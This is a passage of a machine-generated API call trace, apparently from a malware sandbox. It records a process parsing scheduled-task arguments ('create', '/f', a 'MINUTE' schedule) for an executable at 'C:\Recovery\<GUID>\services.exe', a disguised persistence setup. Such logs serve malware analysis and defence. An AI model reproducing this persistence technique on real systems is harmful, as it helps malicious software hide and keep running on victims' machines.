_Size=0x7) returned 0 [0148.410] _memicmp (_Buf1=0x38d500, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.410] SetLastError (dwErrCode=0x7a) [0148.410] SetLastError (dwErrCode=0x0) [0148.410] SetLastError (dwErrCode=0x0) [0148.410] lstrlenW (lpString="'C") returned 2 [0148.410] lstrlenW (lpString="-/") returned 2 [0148.410] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0148.410] SetLastError (dwErrCode=0x490) [0148.410] SetLastError (dwErrCode=0x490) [0148.410] SetLastError (dwErrCode=0x0) [0148.410] _memicmp (_Buf1=0x38d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.410] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0148.410] GetProcessHeap () returned 0x370000 [0148.410] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d580) returned 1 [0148.410] GetProcessHeap () returned 0x370000 [0148.410] RtlReAllocateHeap (Heap=0x370000, Flags=0xc, Ptr=0x38d580, Size=0x80) returned 0x38c290 [0148.410] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0148.410] lstrlenW (lpString=" \x09") returned 2 [0148.410] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0148.410] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0148.410] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0148.410] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0148.410] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0148.410] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0148.410] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0148.410] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0148.410] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0148.410] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0148.463] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0148.464] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0148.465] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0148.465] GetLastError () returned 0x0 [0148.465] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0148.465] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0148.465] SetLastError (dwErrCode=0x0) [0148.465] SetLastError (dwErrCode=0x0) [0148.466] lstrlenW (lpString="/f") returned 2 [0148.466] lstrlenW (lpString="-/") returned 2 [0148.466] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0148.466] lstrlenW (lpString="create") returned 6 [0148.466] lstrlenW (lpString="create") returned 6 [0148.466] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.466] lstrlenW (lpString="f") returned 1 [0148.466] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.466] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|create|") returned 8 [0148.466] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.466] lstrlenW (lpString="|create|") returned 8 [0148.466] lstrlenW (lpString="|f|") returned 3 [0148.466] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0148.466] SetLastError (dwErrCode=0x490) [0148.466] lstrlenW (lpString="?") returned 1 [0148.466] lstrlenW (lpString="?") returned 1 [0148.466] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.466] lstrlenW (lpString="f") returned 1 [0148.466] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.466] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|?|") returned 3 [0148.466] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.466] lstrlenW (lpString="|?|") returned 3 [0148.466] lstrlenW (lpString="|f|") returned 3 [0148.466] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0148.467] SetLastError (dwErrCode=0x490) [0148.467] lstrlenW (lpString="s") returned 1 [0148.467] lstrlenW (lpString="s") returned 1 [0148.467] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.467] lstrlenW (lpString="f") returned 1 [0148.467] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.467] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|s|") returned 3 [0148.467] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.467] lstrlenW (lpString="|s|") returned 3 [0148.467] lstrlenW (lpString="|f|") returned 3 [0148.467] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0148.467] SetLastError (dwErrCode=0x490) [0148.467] lstrlenW (lpString="u") returned 1 [0148.467] lstrlenW (lpString="u") returned 1 [0148.467] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.467] lstrlenW (lpString="f") returned 1 [0148.467] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.467] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|u|") returned 3 [0148.467] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.467] lstrlenW (lpString="|u|") returned 3 [0148.467] lstrlenW (lpString="|f|") returned 3 [0148.467] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0148.467] SetLastError (dwErrCode=0x490) [0148.467] lstrlenW (lpString="p") returned 1 [0148.467] lstrlenW (lpString="p") returned 1 [0148.467] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.468] lstrlenW (lpString="f") returned 1 [0148.468] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.468] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|p|") returned 3 [0148.468] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.468] lstrlenW (lpString="|p|") returned 3 [0148.468] lstrlenW (lpString="|f|") returned 3 [0148.468] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0148.468] SetLastError (dwErrCode=0x490) [0148.468] lstrlenW (lpString="ru") returned 2 [0148.468] lstrlenW (lpString="ru") returned 2 [0148.468] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.468] lstrlenW (lpString="f") returned 1 [0148.468] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.468] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|ru|") returned 4 [0148.468] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.468] lstrlenW (lpString="|ru|") returned 4 [0148.468] lstrlenW (lpString="|f|") returned 3 [0148.468] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0148.468] SetLastError (dwErrCode=0x490) [0148.468] lstrlenW (lpString="rp") returned 2 [0148.468] lstrlenW (lpString="rp") returned 2 [0148.468] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.468] lstrlenW (lpString="f") returned 1 [0148.468] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.468] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|rp|") returned 4 [0148.468] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.469] lstrlenW (lpString="|rp|") returned 4 [0148.469] lstrlenW (lpString="|f|") returned 3 [0148.469] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0148.469] SetLastError (dwErrCode=0x490) [0148.469] lstrlenW (lpString="sc") returned 2 [0148.469] lstrlenW (lpString="sc") returned 2 [0148.469] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.469] lstrlenW (lpString="f") returned 1 [0148.469] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.469] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|sc|") returned 4 [0148.469] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.469] lstrlenW (lpString="|sc|") returned 4 [0148.469] lstrlenW (lpString="|f|") returned 3 [0148.469] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0148.469] SetLastError (dwErrCode=0x490) [0148.469] lstrlenW (lpString="mo") returned 2 [0148.469] lstrlenW (lpString="mo") returned 2 [0148.469] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.469] lstrlenW (lpString="f") returned 1 [0148.469] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.469] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|mo|") returned 4 [0148.469] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.469] lstrlenW (lpString="|mo|") returned 4 [0148.469] lstrlenW (lpString="|f|") returned 3 [0148.469] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0148.469] SetLastError (dwErrCode=0x490) [0148.470] lstrlenW (lpString="d") returned 1 [0148.470] lstrlenW (lpString="d") returned 1 [0148.470] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.470] lstrlenW (lpString="f") returned 1 [0148.470] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.470] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|d|") returned 3 [0148.470] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.470] lstrlenW (lpString="|d|") returned 3 [0148.470] lstrlenW (lpString="|f|") returned 3 [0148.470] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0148.470] SetLastError (dwErrCode=0x490) [0148.470] lstrlenW (lpString="m") returned 1 [0148.470] lstrlenW (lpString="m") returned 1 [0148.470] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.470] lstrlenW (lpString="f") returned 1 [0148.470] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.470] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|m|") returned 3 [0148.470] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.470] lstrlenW (lpString="|m|") returned 3 [0148.470] lstrlenW (lpString="|f|") returned 3 [0148.470] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0148.470] SetLastError (dwErrCode=0x490) [0148.470] lstrlenW (lpString="i") returned 1 [0148.470] lstrlenW (lpString="i") returned 1 [0148.470] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.471] lstrlenW (lpString="f") returned 1 [0148.471] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.471] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|i|") returned 3 [0148.471] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.471] lstrlenW (lpString="|i|") returned 3 [0148.471] lstrlenW (lpString="|f|") returned 3 [0148.471] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0148.471] SetLastError (dwErrCode=0x490) [0148.471] lstrlenW (lpString="tn") returned 2 [0148.471] lstrlenW (lpString="tn") returned 2 [0148.471] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.471] lstrlenW (lpString="f") returned 1 [0148.471] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.471] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.471] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.471] lstrlenW (lpString="|tn|") returned 4 [0148.471] lstrlenW (lpString="|f|") returned 3 [0148.471] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0148.471] SetLastError (dwErrCode=0x490) [0148.471] lstrlenW (lpString="tr") returned 2 [0148.471] lstrlenW (lpString="tr") returned 2 [0148.471] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.471] lstrlenW (lpString="f") returned 1 [0148.471] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.471] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.471] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.472] lstrlenW (lpString="|tr|") returned 4 [0148.472] lstrlenW (lpString="|f|") returned 3 [0148.472] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0148.472] SetLastError (dwErrCode=0x490) [0148.472] lstrlenW (lpString="st") returned 2 [0148.472] lstrlenW (lpString="st") returned 2 [0148.472] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.472] lstrlenW (lpString="f") returned 1 [0148.472] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.472] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|st|") returned 4 [0148.472] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.472] lstrlenW (lpString="|st|") returned 4 [0148.472] lstrlenW (lpString="|f|") returned 3 [0148.472] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0148.472] SetLastError (dwErrCode=0x490) [0148.472] lstrlenW (lpString="sd") returned 2 [0148.472] lstrlenW (lpString="sd") returned 2 [0148.472] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.472] lstrlenW (lpString="f") returned 1 [0148.472] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.472] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|sd|") returned 4 [0148.472] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.472] lstrlenW (lpString="|sd|") returned 4 [0148.472] lstrlenW (lpString="|f|") returned 3 [0148.472] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0148.472] SetLastError (dwErrCode=0x490) [0148.472] lstrlenW (lpString="ed") returned 2 [0148.473] lstrlenW (lpString="ed") returned 2 [0148.473] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.473] lstrlenW (lpString="f") returned 1 [0148.473] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.473] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|ed|") returned 4 [0148.473] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.473] lstrlenW (lpString="|ed|") returned 4 [0148.473] lstrlenW (lpString="|f|") returned 3 [0148.473] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0148.473] SetLastError (dwErrCode=0x490) [0148.473] lstrlenW (lpString="it") returned 2 [0148.473] lstrlenW (lpString="it") returned 2 [0148.473] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.474] lstrlenW (lpString="f") returned 1 [0148.474] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.474] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|it|") returned 4 [0148.474] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.474] lstrlenW (lpString="|it|") returned 4 [0148.474] lstrlenW (lpString="|f|") returned 3 [0148.474] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0148.474] SetLastError (dwErrCode=0x490) [0148.474] lstrlenW (lpString="et") returned 2 [0148.474] lstrlenW (lpString="et") returned 2 [0148.474] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.474] lstrlenW (lpString="f") returned 1 [0148.474] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.474] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|et|") returned 4 [0148.474] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.474] lstrlenW (lpString="|et|") returned 4 [0148.474] lstrlenW (lpString="|f|") returned 3 [0148.474] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0148.474] SetLastError (dwErrCode=0x490) [0148.474] lstrlenW (lpString="k") returned 1 [0148.474] lstrlenW (lpString="k") returned 1 [0148.474] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.474] lstrlenW (lpString="f") returned 1 [0148.474] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.474] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|k|") returned 3 [0148.474] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.474] lstrlenW (lpString="|k|") returned 3 [0148.474] lstrlenW (lpString="|f|") returned 3 [0148.475] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0148.475] SetLastError (dwErrCode=0x490) [0148.475] lstrlenW (lpString="du") returned 2 [0148.475] lstrlenW (lpString="du") returned 2 [0148.475] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.475] lstrlenW (lpString="f") returned 1 [0148.475] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.475] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|du|") returned 4 [0148.475] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.475] lstrlenW (lpString="|du|") returned 4 [0148.475] lstrlenW (lpString="|f|") returned 3 [0148.475] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0148.475] SetLastError (dwErrCode=0x490) [0148.475] lstrlenW (lpString="ri") returned 2 [0148.475] lstrlenW (lpString="ri") returned 2 [0148.475] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.475] lstrlenW (lpString="f") returned 1 [0148.475] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.475] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|ri|") returned 4 [0148.475] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.475] lstrlenW (lpString="|ri|") returned 4 [0148.475] lstrlenW (lpString="|f|") returned 3 [0148.475] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0148.475] SetLastError (dwErrCode=0x490) [0148.475] lstrlenW (lpString="z") returned 1 [0148.475] lstrlenW (lpString="z") returned 1 [0148.475] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.475] lstrlenW (lpString="f") returned 1 [0148.476] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.476] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|z|") returned 3 [0148.476] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.476] lstrlenW (lpString="|z|") returned 3 [0148.476] lstrlenW (lpString="|f|") returned 3 [0148.476] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0148.476] SetLastError (dwErrCode=0x490) [0148.476] lstrlenW (lpString="f") returned 1 [0148.476] lstrlenW (lpString="f") returned 1 [0148.476] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.476] lstrlenW (lpString="f") returned 1 [0148.476] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.476] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.476] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|f|") returned 3 [0148.476] lstrlenW (lpString="|f|") returned 3 [0148.476] lstrlenW (lpString="|f|") returned 3 [0148.476] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0148.476] SetLastError (dwErrCode=0x0) [0148.476] SetLastError (dwErrCode=0x0) [0148.476] GetProcessHeap () returned 0x370000 [0148.476] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cd30 [0148.476] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.476] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0148.477] lstrlenW (lpString="MINUTE") returned 6 [0148.477] GetProcessHeap () returned 0x370000 [0148.477] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xe) returned 0x38d580 [0148.477] GetThreadLocale () returned 0x409 [0148.477] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0148.477] SetLastError (dwErrCode=0x0) [0148.477] GetProcessHeap () returned 0x370000 [0148.477] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x1fc) returned 0x38c390 [0148.477] GetProcessHeap () returned 0x370000 [0148.477] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cd00 [0148.477] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.477] LoadStringW (in: hInstance=0x0, 